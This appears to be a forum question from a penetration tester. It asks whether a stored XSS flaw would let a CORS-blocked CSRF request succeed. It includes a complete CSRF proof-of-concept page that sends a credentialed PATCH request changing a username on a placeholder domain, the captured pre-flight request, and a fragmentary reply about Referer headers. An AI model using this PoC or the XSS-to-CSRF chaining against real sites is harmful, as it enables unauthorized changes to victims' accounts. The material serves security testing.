In an application i am testing, there is a stored XSS flaw. Now, I was testing for CSRF and I constructed an HTML page with a javascript that sends the ajax request (XHR). It caused a pre-flight request and then the browser says Cross-origin request blocked as the Access-Control-Allow-Origin is missing. My question is, if I use stored XSS flaw , then the request will be sent from same domain and CSRF attack would be successful right ?
Thanks in advance.
<html>
<!-- CSRF PoC-->
<body>
<p>csrf test</p>
<script>
var http = new XMLHttpRequest();
var params = "{\"username\":\"pentester12\"}";
http.open("PATCH", "https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false", true);
http.setRequestHeader("Accept","application/json, text/javascript, */*; q=0.01");
http.setRequestHeader("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4");
http.setRequestHeader("Referer","https://www.domain.com/data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false");
http.setRequestHeader("Connection","close");
http.setRequestHeader("Accept-Language","en-US,en;q=0.5");
http.setRequestHeader("Accept-Encoding","gzip, deflate");
http.setRequestHeader("Content-Type","text/plain; charset=UTF-8");
http.setRequestHeader("Origin","www.domain.com");
http.withCredentials= "true";
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.info(http.status);
console.info(http.responseText);
}
}
http.send(params);
</script>
</body>
</html>
Pre-flight request:
OPTIONS /data/user/ef891d503e1a4c8994fcf81d0fdb6168?details=false HTTP/1.1
Host: www.domain.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: PATCH
Access-Control-Request-Headers: user-agent
Origin: null
Connection: close
I spoofed the Origin header to the target domain using burp. But I got the same CORS error.
Referer
header in an ajax query. The browser will automatically overwrite this header from your original request. You can check this by sniffing the packets.